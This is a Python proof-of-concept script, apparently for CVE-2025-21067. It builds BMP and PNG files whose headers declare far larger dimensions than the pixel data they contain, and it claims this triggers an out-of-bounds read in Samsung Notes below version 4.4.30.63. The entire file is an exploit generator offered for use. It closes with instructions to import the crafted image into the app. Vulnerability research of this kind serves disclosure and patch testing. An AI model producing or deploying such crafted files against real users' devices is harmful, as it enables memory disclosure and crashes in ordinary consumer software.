# CVE-2025-21067 PoC - Samsung Notes OOB Read via Malicious Image
# Vulnerability: Out-of-bounds read in image buffer allocation
# Target: Samsung Notes < 4.4.30.63
import struct
import zlib
def create_malicious_bmp(filename="malicious_image.bmp"):
"""
Create a crafted BMP image with mismatched header metadata
to trigger OOB read in Samsung Notes image buffer allocation.
The image header claims a larger size than actual pixel data,
causing buffer over-read during image processing.
"""
# BMP Header (14 bytes)
# File header with manipulated size
width = 4096 # Large width to trigger larger buffer allocation
height = 4096 # Large height
bpp = 32 # Bits per pixel
row_size = ((width * bpp + 31) // 32) * 4 # Row size with padding
pixel_data_size = row_size * height # Expected pixel data size
# Intentionally provide much less actual pixel data than header claims
actual_data_size = 256 # Only provide minimal data
file_size = 54 + actual_data_size # BMP header + DIB header + small data
# BMP File Header
bmp_header = struct.pack('<2sIHHI',
b'BM', # Magic number
file_size, # File size (mismatched with actual content)
0, # Reserved1
0, # Reserved2
54 # Pixel data offset
)
# DIB Header (BITMAPINFOHEADER - 40 bytes)
dib_header = struct.pack('<IiiHHIIiiII',
40, # DIB header size
width, # Width (claims 4096 pixels)
height, # Height (claims 4096 pixels)
1, # Color planes
bpp, # Bits per pixel
0, # Compression (BI_RGB)
pixel_data_size, # Image size (claims full buffer needed)
2835, # X pixels per meter
2835, # Y pixels per meter
0, # Colors in color table
0 # Important color count
)
# Minimal actual pixel data (triggers OOB read)
pixel_data = b'\x41' * actual_data_size
with open(filename, 'wb') as f:
f.write(bmp_header)
f.write(dib_header)
f.write(pixel_data)
print(f"[*] Created malicious image: {filename}")
print(f"[*] Header claims: {width}x{height} ({pixel_data_size} bytes)")
print(f"[*] Actual data: {actual_data_size} bytes")
print(f"[*] Mismatch will trigger OOB read in Samsung Notes")
def create_malicious_png(filename="malicious_image.png"):
"""
Alternative: Create a crafted PNG with manipulated IHDR chunk
to trigger OOB read during image buffer allocation.
"""
# PNG signature
png_sig = b'\x89PNG\r\n\x1a\n'
# IHDR chunk with manipulated dimensions
width = 8192
height = 8192
bit_depth = 8
color_type = 2 # RGB
ihdr_data = struct.pack('>IIBBBBB', width, height,
bit_depth, color_type, 0, 0, 0)
ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff
ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc)
# Minimal IDAT (truncated image data)
raw_data = b'\x00' * 64 # Minimal compressed data
compressed = zlib.compress(raw_data)
idat_crc = zlib.crc32(b'IDAT' + compressed) & 0xffffffff
idat_chunk = struct.pack('>I', len(compressed)) + b'IDAT' + compressed + struct.pack('>I', idat_crc)
# IEND chunk
iend_crc = zlib.crc32(b'IEND') & 0xffffffff
iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc)
with open(filename, 'wb') as f:
f.write(png_sig)
f.write(ihdr_chunk)
f.write(idat_chunk)
f.write(iend_chunk)
print(f"[*] Created malicious PNG: {filename}")
print(f"[*] Header claims: {width}x{height}")
print(f"[*] Truncated data will trigger OOB read")
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-21067 PoC Generator")
print("Samsung Notes Image Buffer OOB Read")
print("=" * 60)
create_malicious_bmp()
print()
create_malicious_png()
print()
print("[+] Usage: Import the generated image into Samsung Notes")
print("[+] The application will trigger OOB read during processing")